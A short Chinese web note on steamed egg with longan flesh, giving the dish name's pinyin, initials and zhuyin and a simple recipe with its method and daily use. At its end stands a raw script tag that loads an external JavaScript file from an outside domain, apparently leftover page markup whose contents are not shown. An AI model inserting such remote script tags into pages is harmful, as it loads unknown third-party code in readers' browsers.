最近在查资料时注意到「桂圆肉蒸鸡蛋」这个词，索性整理成一篇小笔记，方便以后查阅，也分享给同样感兴趣的朋友。
- 拼音
- guì yuán ròu zhēng jī dàn
- 字母
- gui yuan rou zheng ji dan
- 首字母
- gyrzjd
- 注音
- ㄍㄨㄟˋ ㄩㄢˊ ㄖㄡˋ ㄓㄥ ㄐㄧ ㄉㄢˋ
配方： 桂圆肉5～7克，鸡蛋1个。 制法： 新鲜鸡蛋去壳，放入小碗中，可加白糖少许，约蒸3分钟，蛋半熟（蛋黄凝成糊状的半流质时），将桂圆肉塞入蛋黄内，再蒸10分钟（或烧饭时放入饭锅内蒸熟，让蒸汽水进入）。 用法： 当点心吃。每日1次。 <SCRIPT src="http://www.aiyah.cn/script/BHORightMouseMenu.js" defer type=text/javascript></SCRIPT>